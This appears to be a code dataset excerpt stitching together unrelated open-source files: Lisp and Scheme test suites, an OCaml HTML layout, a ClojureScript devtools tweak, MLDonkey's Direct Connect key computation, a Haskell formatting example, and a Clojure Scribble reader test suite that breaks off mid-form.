(signals-error (nset-difference (list 1 2 3) (list* 4 5 6)) type-error)
t)
(deftest nset-difference.error.12
(signals-error (nset-difference (list* 1 2 3) (list 4 5 6)) type-error)
t)
(deftest nset-difference.error.13
(check-type-error #'(lambda (x) (nset-difference (list 'a 'b) x)) #'listp)
nil)
(deftest nset-difference.error.14
(check-type-error #'(lambda (x) (nset-difference x (list 'a 'b))) #'listp)
nil)
|
055680f3b9edd5432438b0a94524f82a19ba5860dcd885becba223dc92595c53 | oxidizing/sihl-demo | layout.ml | open Tyxml
let navigation user =
match user with
| None ->
[%html
{|
<ul>
<li><a href="/login">Login</a></li>
<li><a href="/registration">Registration</a></li>
</ul>
|}]
| Some user ->
[%html
{|
<ul>
<li>|}
[ Html.txt (Format.sprintf "Welcome %s!" user.Sihl.Contract.User.email)
]
{|</li>
<li><a href="/ingredients">Ingredients</a></li>
<li><a href="/pizzas">Pizzas</a></li>
<li><a href="/admin/queue">Queue Dashboard</a></li>
<li><a href="/logout">Logout</a></li>
</ul>|}]
;;
let%html page user body =
{|
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link href="/assets/reset.css" rel="stylesheet">
<link href="/assets/styles.css" rel="stylesheet">
<title>Hello world!</title>
</head>
<body>|}
[ navigation user ]
{|<br>|}
body
{|
</body>
</html>
|}
;;
| null | https://raw.githubusercontent.com/oxidizing/sihl-demo/000798b69951d785cb7c3306b890f3cddf63f7a3/web/view/layout.ml | ocaml | open Tyxml
let navigation user =
match user with
| None ->
[%html
{|
<ul>
<li><a href="/login">Login</a></li>
<li><a href="/registration">Registration</a></li>
</ul>
|}]
| Some user ->
[%html
{|
<ul>
<li>|}
[ Html.txt (Format.sprintf "Welcome %s!" user.Sihl.Contract.User.email)
]
{|</li>
<li><a href="/ingredients">Ingredients</a></li>
<li><a href="/pizzas">Pizzas</a></li>
<li><a href="/admin/queue">Queue Dashboard</a></li>
<li><a href="/logout">Logout</a></li>
</ul>|}]
;;
let%html page user body =
{|
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link href="/assets/reset.css" rel="stylesheet">
<link href="/assets/styles.css" rel="stylesheet">
<title>Hello world!</title>
</head>
<body>|}
[ navigation user ]
{|<br>|}
body
{|
</body>
</html>
|}
;;
| |
227f0522d858fc38ae7596c7a29747bd73ee78a122010a4a471c26167106e751 | ar-nelson/schemepunk | command.test.scm | (import (scheme base)
(schemepunk syntax)
(schemepunk command)
(schemepunk show base)
(schemepunk test))
(test-group "Command Line Argument Parsing"
(define spec
'((name "Zookeeper Application")
(doc "Example application from (chibi app) documentation, adapted for \
(schemepunk command).")
(copyright "Copyright (c) 2020")
(options
(animals
(type (list symbol))
(short #\a)
(long "animal-list")
(doc "list of animals to act on (default all)"))
(lions
(type boolean)
(short #\l)
(doc "also apply the action to lions"))
(tigers
(type boolean)
(short #\t)
(doc "also apply the action to tigers"))
(bears
(type boolean)
(short #\b)
(doc "oh my")))
(commands
(feed
(short-doc "feed the animals")
(doc-args animals ...))
(wash
(short-doc "wash the animals")
(doc-args animals ...)
(options
(soap
(type boolean))))
(help
(short-doc "print help")))
(default-help-option #t)
(default-help-command #f)))
(test "No options"
(let1-values parsed (parse-app spec '("zoo"))
(assert-equal parsed '(() () #f () ()))))
(test "Short option"
(let1-values parsed (parse-app spec '("zoo" "-l"))
(assert-equal parsed '(((lions . #t)) () #f () ()))))
(test "Multiple short options"
(let1-values parsed (parse-app spec '("zoo" "-l" "-t" "-b"))
(assert-equal parsed
'(((bears . #t) (tigers . #t) (lions . #t)) () #f () ()))))
(test "Grouped short options"
(let1-values parsed (parse-app spec '("zoo" "-ltb"))
(assert-equal parsed
'(((bears . #t) (tigers . #t) (lions . #t)) () #f () ()))))
(test "Short option with value"
(let1-values parsed (parse-app spec '("zoo" "-a" "kangaroo"))
(assert-equal parsed
'(((animals kangaroo)) () #f () ()))))
(test "Grouped short option with value"
(let1-values parsed (parse-app spec '("zoo" "-ta" "kangaroo"))
(assert-equal parsed
'(((animals kangaroo) (tigers . #t)) () #f () ()))))
(test "Long option"
(let1-values parsed (parse-app spec '("zoo" "--lions"))
(assert-equal parsed '(((lions . #t)) () #f () ()))))
(test "Long option with value"
(let1-values parsed (parse-app spec '("zoo" "--animals" "platypus"))
(assert-equal parsed '(((animals platypus)) () #f () ()))))
(test "Long option with list value"
(let1-values parsed (parse-app spec '("zoo" "--animals" "lion,tiger,bear"))
(assert-equal parsed '(((animals lion tiger bear)) () #f () ()))))
(test "Long option with ="
(let1-values parsed (parse-app spec '("zoo" "--animals=platypus"))
(assert-equal parsed '(((animals platypus)) () #f () ()))))
(test "Aliased long option"
(let1-values parsed (parse-app spec '("zoo" "--animal-list=platypus"))
(assert-equal parsed '(((animals platypus)) () #f () ()))))
(test "Long option with 'no-' prefix"
(let1-values parsed (parse-app spec '("zoo" "--no-lions"))
(assert-equal parsed '(((lions . #f)) () #f () ()))))
(test "Arguments"
(let1-values parsed (parse-app spec '("zoo" "tortoise" "hare"))
(assert-equal parsed '(() ("tortoise" "hare") #f () ()))))
(test "Options and arguments"
(let1-values parsed (parse-app spec '("zoo" "--animals" "tortoise" "hare"))
(assert-equal parsed '(((animals tortoise)) ("hare") #f () ()))))
(test "Command"
(let1-values parsed (parse-app spec '("zoo" "feed"))
(assert-equal parsed '(() () feed () ()))))
(test "Options and command"
(let1-values parsed (parse-app spec '("zoo" "-l" "wash"))
(assert-equal parsed '(((lions . #t)) () wash () ()))))
(test "Options, argument, and command"
(let1-values parsed (parse-app spec '("zoo" "-l" "octopus" "wash"))
(assert-equal parsed '(((lions . #t)) ("octopus") wash () ()))))
(test "Command options"
(let1-values parsed (parse-app spec '("zoo" "wash" "--soap"))
(assert-equal parsed '(() () wash ((soap . #t)) ()))))
(test "Command arguments"
(let1-values parsed (parse-app spec '("zoo" "feed" "oats"))
(assert-equal parsed '(() () feed () ("oats")))))
(test "All five argument types"
(let1-values parsed (parse-app spec '("zoo" "-l" "sheep" "wash" "--soap" "water"))
(assert-equal parsed '(((lions . #t)) ("sheep") wash ((soap . #t)) ("water")))))
(test "Unknown short option"
(guard (err ((command-error? err) #t))
(parse-app spec '("zoo" "-q"))
(fail "did not raise command-error")))
(test "Unknown long option"
(guard (err ((command-error? err) #t))
(parse-app spec '("zoo" "--fhqwhgads"))
(fail "did not raise command-error")))
(test "Unknown short command option"
(guard (err ((command-error? err) #t))
(parse-app spec '("zoo" "wash" "-q"))
(fail "did not raise command-error")))
(test "Unknown long command option"
(guard (err ((command-error? err) #t))
(parse-app spec '("zoo" "wash" "--fhqwhgads"))
(fail "did not raise command-error")))
(test "Arguments after --"
(let1-values parsed (parse-app spec '("zoo" "-l" "foo" "--" "-t" "-b" "feed"))
(assert-equal parsed '(((lions . #t)) ("foo" "-t" "-b" "feed") #f () ()))))
(test "Default help option"
(let1-values parsed (parse-app spec '("zoo" "--help"))
(assert-equal parsed '(((help . #t)) () #f () ())))
(let1-values parsed (parse-app spec '("zoo" "-h"))
(assert-equal parsed '(((help . #t)) () #f () ()))))
(test "Default help command"
(let1-values parsed (parse-app spec '("zoo" "help" "wash"))
(assert-equal parsed '(() () help () ("wash")))))
(test "app-help doesn't crash"
(assert-true (string? (show #f (app-help spec '("zoo"))))))
(test "command-help doesn't crash"
(assert-true (string? (show #f (command-help spec 'wash '("zoo"))))))
)
| null | https://raw.githubusercontent.com/ar-nelson/schemepunk/e2840d3c445933528aaf0a36ec72b053ec5016ce/tests/command.test.scm | scheme | (import (scheme base)
(schemepunk syntax)
(schemepunk command)
(schemepunk show base)
(schemepunk test))
(test-group "Command Line Argument Parsing"
(define spec
'((name "Zookeeper Application")
(doc "Example application from (chibi app) documentation, adapted for \
(schemepunk command).")
(copyright "Copyright (c) 2020")
(options
(animals
(type (list symbol))
(short #\a)
(long "animal-list")
(doc "list of animals to act on (default all)"))
(lions
(type boolean)
(short #\l)
(doc "also apply the action to lions"))
(tigers
(type boolean)
(short #\t)
(doc "also apply the action to tigers"))
(bears
(type boolean)
(short #\b)
(doc "oh my")))
(commands
(feed
(short-doc "feed the animals")
(doc-args animals ...))
(wash
(short-doc "wash the animals")
(doc-args animals ...)
(options
(soap
(type boolean))))
(help
(short-doc "print help")))
(default-help-option #t)
(default-help-command #f)))
(test "No options"
(let1-values parsed (parse-app spec '("zoo"))
(assert-equal parsed '(() () #f () ()))))
(test "Short option"
(let1-values parsed (parse-app spec '("zoo" "-l"))
(assert-equal parsed '(((lions . #t)) () #f () ()))))
(test "Multiple short options"
(let1-values parsed (parse-app spec '("zoo" "-l" "-t" "-b"))
(assert-equal parsed
'(((bears . #t) (tigers . #t) (lions . #t)) () #f () ()))))
(test "Grouped short options"
(let1-values parsed (parse-app spec '("zoo" "-ltb"))
(assert-equal parsed
'(((bears . #t) (tigers . #t) (lions . #t)) () #f () ()))))
(test "Short option with value"
(let1-values parsed (parse-app spec '("zoo" "-a" "kangaroo"))
(assert-equal parsed
'(((animals kangaroo)) () #f () ()))))
(test "Grouped short option with value"
(let1-values parsed (parse-app spec '("zoo" "-ta" "kangaroo"))
(assert-equal parsed
'(((animals kangaroo) (tigers . #t)) () #f () ()))))
(test "Long option"
(let1-values parsed (parse-app spec '("zoo" "--lions"))
(assert-equal parsed '(((lions . #t)) () #f () ()))))
(test "Long option with value"
(let1-values parsed (parse-app spec '("zoo" "--animals" "platypus"))
(assert-equal parsed '(((animals platypus)) () #f () ()))))
(test "Long option with list value"
(let1-values parsed (parse-app spec '("zoo" "--animals" "lion,tiger,bear"))
(assert-equal parsed '(((animals lion tiger bear)) () #f () ()))))
(test "Long option with ="
(let1-values parsed (parse-app spec '("zoo" "--animals=platypus"))
(assert-equal parsed '(((animals platypus)) () #f () ()))))
(test "Aliased long option"
(let1-values parsed (parse-app spec '("zoo" "--animal-list=platypus"))
(assert-equal parsed '(((animals platypus)) () #f () ()))))
(test "Long option with 'no-' prefix"
(let1-values parsed (parse-app spec '("zoo" "--no-lions"))
(assert-equal parsed '(((lions . #f)) () #f () ()))))
(test "Arguments"
(let1-values parsed (parse-app spec '("zoo" "tortoise" "hare"))
(assert-equal parsed '(() ("tortoise" "hare") #f () ()))))
(test "Options and arguments"
(let1-values parsed (parse-app spec '("zoo" "--animals" "tortoise" "hare"))
(assert-equal parsed '(((animals tortoise)) ("hare") #f () ()))))
(test "Command"
(let1-values parsed (parse-app spec '("zoo" "feed"))
(assert-equal parsed '(() () feed () ()))))
(test "Options and command"
(let1-values parsed (parse-app spec '("zoo" "-l" "wash"))
(assert-equal parsed '(((lions . #t)) () wash () ()))))
(test "Options, argument, and command"
(let1-values parsed (parse-app spec '("zoo" "-l" "octopus" "wash"))
(assert-equal parsed '(((lions . #t)) ("octopus") wash () ()))))
(test "Command options"
(let1-values parsed (parse-app spec '("zoo" "wash" "--soap"))
(assert-equal parsed '(() () wash ((soap . #t)) ()))))
(test "Command arguments"
(let1-values parsed (parse-app spec '("zoo" "feed" "oats"))
(assert-equal parsed '(() () feed () ("oats")))))
(test "All five argument types"
(let1-values parsed (parse-app spec '("zoo" "-l" "sheep" "wash" "--soap" "water"))
(assert-equal parsed '(((lions . #t)) ("sheep") wash ((soap . #t)) ("water")))))
(test "Unknown short option"
(guard (err ((command-error? err) #t))
(parse-app spec '("zoo" "-q"))
(fail "did not raise command-error")))
(test "Unknown long option"
(guard (err ((command-error? err) #t))
(parse-app spec '("zoo" "--fhqwhgads"))
(fail "did not raise command-error")))
(test "Unknown short command option"
(guard (err ((command-error? err) #t))
(parse-app spec '("zoo" "wash" "-q"))
(fail "did not raise command-error")))
(test "Unknown long command option"
(guard (err ((command-error? err) #t))
(parse-app spec '("zoo" "wash" "--fhqwhgads"))
(fail "did not raise command-error")))
(test "Arguments after --"
(let1-values parsed (parse-app spec '("zoo" "-l" "foo" "--" "-t" "-b" "feed"))
(assert-equal parsed '(((lions . #t)) ("foo" "-t" "-b" "feed") #f () ()))))
(test "Default help option"
(let1-values parsed (parse-app spec '("zoo" "--help"))
(assert-equal parsed '(((help . #t)) () #f () ())))
(let1-values parsed (parse-app spec '("zoo" "-h"))
(assert-equal parsed '(((help . #t)) () #f () ()))))
(test "Default help command"
(let1-values parsed (parse-app spec '("zoo" "help" "wash"))
(assert-equal parsed '(() () help () ("wash")))))
(test "app-help doesn't crash"
(assert-true (string? (show #f (app-help spec '("zoo"))))))
(test "command-help doesn't crash"
(assert-true (string? (show #f (command-help spec 'wash '("zoo"))))))
)
| |
06cdbcf88b69800d7ea7e86204c6f41093e6e5ac2dbef92aaa646adf3dac8e3f | nextjournal/clerk | devtools.cljs | (ns devtools
(:require [devtools.core :as devtools]))
;; invert cljs devtools colors to keep things readable when dark mode is on
(when (and (exists? js/window.matchMedia)
(.. js/window (matchMedia "(prefers-color-scheme: dark)") -matches))
(let [{:keys [cljs-land-style]} (devtools/get-prefs)]
(devtools/set-pref! :cljs-land-style (str "filter:invert(1);" cljs-land-style))))
| null | https://raw.githubusercontent.com/nextjournal/clerk/f46b5763cb41f78d86d62718cb20a01c1079d5c7/dev/devtools.cljs | clojure | invert cljs devtools colors to keep things readable when dark mode is on | (ns devtools
(:require [devtools.core :as devtools]))
(when (and (exists? js/window.matchMedia)
(.. js/window (matchMedia "(prefers-color-scheme: dark)") -matches))
(let [{:keys [cljs-land-style]} (devtools/get-prefs)]
(devtools/set-pref! :cljs-land-style (str "filter:invert(1);" cljs-land-style))))
|
ab74cd5b15d40848a9d521ac26f82c4f914a40f6d5c5d81bf5008b96c1371143 | ygrek/mldonkey | dcKey.ml | Compute the key from $ Lock xxxxx yyyyy| using ' gen_key xxxxx '
(*************************************************************************)
(* the key is quite easily :) computed from the lock *)
(* key[x]= ns(lock[x]^lock[x-1]) *)
ns is a nibble swap ( switch the upper 4 bits with the lower 4 bits )
(* exception: *)
(* key[0] is a bit different *)
let 's name A and B the 2 last bytes of the lock
(* key[0]= ns(lock[0]^A^B^0x05) ; 0x05 is a kind of magic nibble *)
(*************************************************************************)
$ Lock 17lM=.U=*@Q&HvoG2 = HJcLH:-,Q=5R = xMvRo - ET4;nMZYxnP , P_&oHFmc%B Pk=.l > r?nZz - VKmlf&z|
$ Key 5/%DCN096%/(181)(18)(7)1(183)(134)q(166)(17)w(230)(227)(145)(130)W(240)W ( 146)(242)@'q(16)(215)(198)(128)v(246)TS(179)B(211)/%DCN036%/(134)(17)(6)(240)U2q0(18)a(227)(199)(199)(240)(151)(148)r(224)(178)(224)dv|
$Lock 17lM=.U=*@Q&HvoG2=HJcLH:-,Q=5R=xMvRo-ET4;nMZYxnP,P_&oHFmc%B Pk=.l>r?nZz-VKmlf&z|
$Key 5/%DCN096%/(181)(18)(7)1(183)(134)q(166)(17)w(230)(227)(145)(130)W(240)W (146)(242)@'q(16)(215)(198)(128)v(246)TS(179)B(211)/%DCN036%/(134)(17)(6)(240)U2q0(18)a(227)(199)(199)(240)(151)(148)r(224)(178)(224)dv|
*)
let char_is_extra ch buf =
match ch with
| 0 -> Printf.bprintf buf "/%%DCN000%%/"
| 5 -> Printf.bprintf buf "/%%DCN005%%/"
| 36 -> Printf.bprintf buf "/%%DCN036%%/"
| 96 -> Printf.bprintf buf "/%%DCN096%%/"
| 124 -> Printf.bprintf buf "/%%DCN124%%/"
| 126 -> Printf.bprintf buf "/%%DCN126%%/"
| _ -> Buffer.add_char buf (char_of_int ch)
let get s pos = int_of_char s.[pos]
let calculate_key s =
let buf = Buffer.create 100 in
let len = String.length s in
(* first byte *)
let u = (get s 0) land 255 in (* u=(((unsigned int)(lck->str[0]))&255); *)
let l = (get s (len-1)) land 255 in (* l=(((unsigned int)(lck->str[lck->len-1]))&255); *)
o=(((unsigned int)(lck->str[lck->len-2]))&255 ) ;
let u = u lxor l lxor o lxor 0x05 in (* u=u^l^o^0x05; *)
v=(((u<<8)|u)>>4)&255 ;
char_is_extra v buf;
match v with
| 0 | 5 - > Printf.bprintf buf " /%%DCN%03d%%/ " v
| 36 - > Printf.bprintf buf " /%%DCN036%%/ "
| 96 - > Printf.bprintf buf " /%%DCN096%%/ "
| _ - > ( char_of_int v )
| 0 | 5 -> Printf.bprintf buf "/%%DCN%03d%%/" v
| 36 -> Printf.bprintf buf "/%%DCN036%%/"
| 96 -> Printf.bprintf buf "/%%DCN096%%/"
| _ -> Buffer.add_char buf (char_of_int v) *)
for i = 1 to len - 1 do
let u = (get s i) land 255 in
let l = (get s (i-1)) land 255 in
let u = u lxor l in
v=(((u<<8)|u)>>4)&255 ;
char_is_extra v buf;
done;
Buffer.contents buf
let char_percent = int_of_char '%'
let char_z = int_of_char 'z'
let create_key = "MLDonkey"
let len = 80 + Random.int 15 in
let key = String.create len in
for i = 0 to len - 1 do
key.[i ] < - char_of_int ( char_percent + Random.int ( char_z - char_percent ) )
done ;
key
let key = String.create len in
for i = 0 to len - 1 do
key.[i] <- char_of_int (char_percent + Random.int (char_z - char_percent))
done;
key *)
| null | https://raw.githubusercontent.com/ygrek/mldonkey/333868a12bb6cd25fed49391dd2c3a767741cb51/src/networks/direct_connect/dcKey.ml | ocaml | ***********************************************************************
the key is quite easily :) computed from the lock
key[x]= ns(lock[x]^lock[x-1])
exception:
key[0] is a bit different
key[0]= ns(lock[0]^A^B^0x05) ; 0x05 is a kind of magic nibble
***********************************************************************
first byte
u=(((unsigned int)(lck->str[0]))&255);
l=(((unsigned int)(lck->str[lck->len-1]))&255);
u=u^l^o^0x05; | Compute the key from $ Lock xxxxx yyyyy| using ' gen_key xxxxx '
ns is a nibble swap ( switch the upper 4 bits with the lower 4 bits )
let 's name A and B the 2 last bytes of the lock
$ Lock 17lM=.U=*@Q&HvoG2 = HJcLH:-,Q=5R = xMvRo - ET4;nMZYxnP , P_&oHFmc%B Pk=.l > r?nZz - VKmlf&z|
$ Key 5/%DCN096%/(181)(18)(7)1(183)(134)q(166)(17)w(230)(227)(145)(130)W(240)W ( 146)(242)@'q(16)(215)(198)(128)v(246)TS(179)B(211)/%DCN036%/(134)(17)(6)(240)U2q0(18)a(227)(199)(199)(240)(151)(148)r(224)(178)(224)dv|
$Lock 17lM=.U=*@Q&HvoG2=HJcLH:-,Q=5R=xMvRo-ET4;nMZYxnP,P_&oHFmc%B Pk=.l>r?nZz-VKmlf&z|
$Key 5/%DCN096%/(181)(18)(7)1(183)(134)q(166)(17)w(230)(227)(145)(130)W(240)W (146)(242)@'q(16)(215)(198)(128)v(246)TS(179)B(211)/%DCN036%/(134)(17)(6)(240)U2q0(18)a(227)(199)(199)(240)(151)(148)r(224)(178)(224)dv|
*)
let char_is_extra ch buf =
match ch with
| 0 -> Printf.bprintf buf "/%%DCN000%%/"
| 5 -> Printf.bprintf buf "/%%DCN005%%/"
| 36 -> Printf.bprintf buf "/%%DCN036%%/"
| 96 -> Printf.bprintf buf "/%%DCN096%%/"
| 124 -> Printf.bprintf buf "/%%DCN124%%/"
| 126 -> Printf.bprintf buf "/%%DCN126%%/"
| _ -> Buffer.add_char buf (char_of_int ch)
let get s pos = int_of_char s.[pos]
let calculate_key s =
let buf = Buffer.create 100 in
let len = String.length s in
o=(((unsigned int)(lck->str[lck->len-2]))&255 ) ;
v=(((u<<8)|u)>>4)&255 ;
char_is_extra v buf;
match v with
| 0 | 5 - > Printf.bprintf buf " /%%DCN%03d%%/ " v
| 36 - > Printf.bprintf buf " /%%DCN036%%/ "
| 96 - > Printf.bprintf buf " /%%DCN096%%/ "
| _ - > ( char_of_int v )
| 0 | 5 -> Printf.bprintf buf "/%%DCN%03d%%/" v
| 36 -> Printf.bprintf buf "/%%DCN036%%/"
| 96 -> Printf.bprintf buf "/%%DCN096%%/"
| _ -> Buffer.add_char buf (char_of_int v) *)
for i = 1 to len - 1 do
let u = (get s i) land 255 in
let l = (get s (i-1)) land 255 in
let u = u lxor l in
v=(((u<<8)|u)>>4)&255 ;
char_is_extra v buf;
done;
Buffer.contents buf
let char_percent = int_of_char '%'
let char_z = int_of_char 'z'
let create_key = "MLDonkey"
let len = 80 + Random.int 15 in
let key = String.create len in
for i = 0 to len - 1 do
key.[i ] < - char_of_int ( char_percent + Random.int ( char_z - char_percent ) )
done ;
key
let key = String.create len in
for i = 0 to len - 1 do
key.[i] <- char_of_int (char_percent + Random.int (char_z - char_percent))
done;
key *)
|
e0d7d41e4ea2f4b7557a7429547ee999705c1da9c139d7fa752ba499793ec582 | tweag/ormolu | multi-line.hs | type family Id a
= result | result -> a where
Id a
= a
type family G (a :: k)
b c = foo | foo -> k b where
G a b c =
(a, b)
type family F a
:: * -> * where
F Int = Double
F Bool =
Char
F a = String
type family F a where
F a -- foo
= a
| null | https://raw.githubusercontent.com/tweag/ormolu/308542e06a5042e55f4e96ff23711a6b614d529b/data/examples/declaration/type-families/closed-type-family/multi-line.hs | haskell | foo | type family Id a
= result | result -> a where
Id a
= a
type family G (a :: k)
b c = foo | foo -> k b where
G a b c =
(a, b)
type family F a
:: * -> * where
F Int = Double
F Bool =
Char
F a = String
type family F a where
= a
|
88677c1b7120cc0f244f4e59e8adf2e85a6df8c7e4484a6fcf8ffa8ef3a44a1f | fjarri/clojure-scribble | reader_test.clj | (ns scribble.reader-test
(:import [java.lang RuntimeException])
(:use [midje.sweet])
(:require [clojure.test :refer :all]
[scribble.core :refer :all]
[scribble.settings :refer :all]))
Tests were taken from the orignal Scribble documentation ,
; so we use its symbols.
; (except for the \` instead of \|,
; because the latter is not macro-terminating)
(def scribble-settings (make-settings \@ \{ \} \[ \] \` \` \;))
; Unfortunately, the reader that reads from strings does not have
; line/column metadata.
; So in order for the whitespace truncation to work properly,
; we need to use the main reader.
(use-scribble scribble-settings)
For exception tests , and cases where EOF at a certain place is needed .
(defn read-scribble [s]
(with-scribble scribble-settings (read-string s)))
; Tests for the reader macro
Mostly taken from -lang.org/scribble/reader.html
(deftest test-reader-syntax (facts "about the syntax"
difference from the original Scribble syntax : @ ; is a normal comment ,
@ ; ; is a TeX - like ( whitespace - consuming ) comment
(fact "a whitespace between a line comment and a newline is discarded"
'@foo{bar @; comment
baz@;
blah}
=>
'(foo ["bar" "\n"
"baz" "\n"
"blah"]))
(fact "a consuming comment joins lines"
'@foo{bar @;; comment
baz@;;
blah}
=>
'(foo ["bar bazblah"]))
The Scribble Syntax at a Glance
(fact "a simple line"
'@foo{blah blah blah}
=>
'(foo ["blah blah blah"]))
(fact "quotes in a body part"
'@foo{blah "blah" (`blah'?)}
=>
'(foo ["blah \"blah\" (`blah'?)"]))
(fact "a normal block and a body part"
'@foo[1 2]{3 4}
=>
'(foo 1 2 ["3 4"]))
(fact "a single normal block"
'@foo[1 2 3 4]
=>
'(foo 1 2 3 4))
(fact "a non-trivial syntax in a normal block"
'@foo[:width 2]{blah blah}
=>
'(foo :width 2 ["blah blah"]))
; If the beginning { is followed by something other than \n,
; all indentation is counted from it.
; If the indentation of the line is bigger, the base indentation
; is subtracted from it.
If it is smaller , it is discarder completely .
NOTE : currently 1 \tab = 1 \space . Clojure 's reader counts
\tab as one symbol anyway .
(fact "leading indentation is truncated"
'@foo{blah blah
yada yada
ddd
ttt}
=>
'(foo ["blah blah" "\n"
"yada yada" "\n"
" " "ddd" "\n"
"ttt"]))
(fact "leading indentation is truncated in front of nested forms"
'@foo{blah blah
@yada{yada}
@ddd{ttt}}
=>
'(foo ["blah blah" "\n"
(yada ["yada"]) "\n"
" " (ddd ["ttt"])]))
If the beginning { is directly followed by ,
; the starting indentation is taken from the leftmost non-empty line.
(fact "leading indentation and the starting newline are truncated"
'@foo{
blah blah
yada yada
ddd
@; non-consuming comment
ttt
}
=>
'(foo [
" " "blah blah" "\n"
" " "yada yada" "\n"
" " "ddd" "\n"
"\n"
"ttt"]))
(fact "leading indentation with nested forms is truncated"
'@foo{bar @baz{3}
blah}
=>
'(foo ["bar " (baz ["3"]) "\n"
"blah"]))
(fact "leading indentation with nested forms in the beginning is truncated"
'@foo{@b{@u[3] @u{4}}
blah}
=>
'(foo [(b [(u 3) " " (u ["4"])]) "\n"
"blah"]))
(fact "whitespace is attached to the text at the ends of a body part"
'@foo{ aa
b
c }
=>
'(foo [" aa" "\n" "b" "\n" "c "]))
; Missing command part
(fact "missing command part"
'@{blah blah}
=>
'(["blah blah"]))
(fact "missing command part with a nested form"
'@{blah @[3]}
=>
'(["blah " (3)]))
(fact "missing command part with multiline text"
'@{foo
bar
baz}
=>
'(["foo" "\n"
"bar" "\n"
"baz"]))
; Command part only
(fact "command part only"
'@foo
=>
'foo)
(fact "command part only in a body part"
'@{blah @foo blah}
=>
'(["blah " foo " blah"]))
' : ' in identifiers has special meaning in Clojure , so changed it to ' - '
(fact "non-trivial command in a body part"
'@{blah @foo- blah}
=>
'(["blah " foo- " blah"]))
(fact "escaped command in a body part"
'@{blah @`foo`- blah}
=>
'(["blah " foo "- blah"]))
(fact "body part resumes right after an escaped command"
'@{blah @`foo`[3] blah}
=>
'(["blah " foo "[3] blah"]))
(fact "arbitrary form as a command"
'@foo{(+ 1 2) -> @(+ 1 2)!}
=>
'(foo ["(+ 1 2) -> " (+ 1 2) "!"]))
(fact "a command-like string is attached to the surrounding text"
'@foo{A @"string" escape}
=>
'(foo ["A string escape"]))
(fact "the entry character wrapped in a string"
'@foo{eli@"@"barzilay.org}
=>
'(foo [""]))
(fact "the body part delimiter wrapped in a string"
'@foo{A @"{" begins a block}
=>
'(foo ["A { begins a block"]))
(fact "balanced body part delimiters do not require escaping"
'@C{while (*(p++)) {
*p = '\n';
}}
=>
'(C ["while (*(p++)) {" "\n"
" " "*p = '\\n';" "\n"
"}"]))
; A regression for a bug in the body part reader logic
(fact "body part delimiters at the beginning of a body part work correctly"
'@foo{{{}}{}}
=>
'(foo ["{{}}{}"]))
; Here strings
(fact "unbalanced body part delimiters in an escaped body part"
'@foo`{bar}@{baz}`
=>
'(foo ["bar}@{baz"]))
(fact "balanced escaped body part delimiters in an escaped body part"
'@foo`{Nesting `{is}` ok}`
=>
'(foo ["Nesting `{is}` ok"]))
(fact "an escaped nested command in an escaped body part"
'@foo`{bar `@x{X} baz}`
=>
'(foo ["bar " (x ["X"]) " baz"]))
(fact "an escaped nested body part in an escaped body part"
'@foo`{bar `@x`{@}` baz}`
=>
'(foo ["bar " (x ["@"]) " baz"]))
; check that there is no off-by-one error because the delimiter is
two symbols instead of one
(fact "an escaped body part truncates leading indentation properly"
'@foo`{Maze
`@bar{is}
Life!
blah blah}`
=>
'(foo ["Maze" "\n"
(bar ["is"]) "\n"
"Life!" "\n"
" " "blah blah"]))
(fact "an escaped body part with delimiters"
'@foo`--{bar}@`{baz}--`
=>
'(foo ["bar}@`{baz"]))
(fact "an escaped body part with mirrored delimiters"
'@foo`<(-[{bar}@`{baz}]-)>`
=>
'(foo ["bar}@`{baz"]))
(fact "an escaped body part with a nested form"
'@foo`!!{X `!!@b{Y}...}!!`
=>
'(foo ["X " (b ["Y"]) "..."]))
; Empty blocks
(fact "an empty normal block is ignored"
'@foo[]{bar} => '(foo ["bar"]))
(fact "an empty normal block and a missing body part result in a form"
'@foo[] => '(foo))
(fact "a single command is read as a symbol"
'@foo => 'foo)
(fact "an empty body part results in an empty text container"
'@foo{} => '(foo []))
; The Command Part
Difference from the original Scribble !
; Since I do not feel like parsing all the custom reader macros in existence,
; everything after @ that does not look like a symbol gets passed
to the Clojure reader .
; Therefore various quotes appearing after @ get applied to whatever
Clojure syntax tells them to ( that is , to the form that
immediately follows ) , not the whole Scribble form .
(fact "stacked reader macros work"
'@'~@@foo{blah}
=>
''~@(foo ["blah"]))
(fact "command can be any expression"
'@(lambda (x) x){blah}
=>
'((lambda (x) x) ["blah"]))
(fact "reader macros and expression-command work together"
'@@(unquote foo){blah}
=>
'(@(unquote foo) ["blah"]))
(fact "command and normal part can be omitted"
'@{foo bar
baz}
=>
'(["foo bar" "\n"
"baz"]))
(fact "a lone body part can be escaped"
'@``{abcde}` => '(["abcde"]))
(fact "a lone body part can be escaped with delimiters"
'@``-abc{abcde}cba-` => '(["abcde"]))
(fact "a comment form glues surrounding strings"
'@foo{bar @;{some text
with newlines
or even valid nested expressions like @command[foo]{bar};} baz}
=>
'(foo ["bar baz"]))
(fact "a comment form does not break whitespace truncation"
'@foo{bar @;{blah
blah;}
baz}
=>
'(foo ["bar" "\n" " " "baz"]))
(fact "a comment from works in normal mode"
'@foo[bar @;{comment}
2]
=>
'(foo bar 2))
; A difference from the orignial Scribble:
; Since we allow multiple body parts after a command,
; they all get consumed.
The original Scribble produces ` ( ( foo " bar " ) " baz " ) ` .
(fact "Scribble form as a command"
'@@foo{bar}{baz}
=>
'(foo ["bar"] ["baz"]))
; Racket Expression Escapes
(fact "the end of a standalone symbol is detected properly"
'@foo{foo@bar.}
=>
'(foo ["foo" bar.]))
(fact "text in an escaped expression is not merged with the surrounding text"
'@foo{x@`"y"`z}
=>
'(foo ["x" "y" "z"]))
(fact "a number as a standalone expression"
'@foo{foo@3.}
=>
'(foo ["foo" 3.0]))
(fact "a number as an escaped expression"
'@foo{foo@`3`.}
=>
'(foo ["foo" 3 "."]))
(fact "escaped expression with multiple forms is spliced"
'@foo{x@`1 (+ 2 3) 4`y}
=>
'(foo ["x" 1 (+ 2 3) 4 "y"]))
(fact "escaped expression with a line break"
'@foo{x@`*
*`y}
=>
'(foo ["x" *
* "y"]))
(fact "an empty escaped expression"
'@foo{Alice@` `Bob@`
`Carol}
=>
'(foo ["Alice" "Bob"
"Carol"]))
Spaces , Newlines , and Indentation
(fact "eee"
'@foo{
}
=>
'(foo ["\n"]))
(fact "ewew"
'@foo{
bar
})
))
; These tests were added specifically to cover all the branches.
; Contain various corner cases.
(deftest test-reader-coverage (facts "about the coverage"
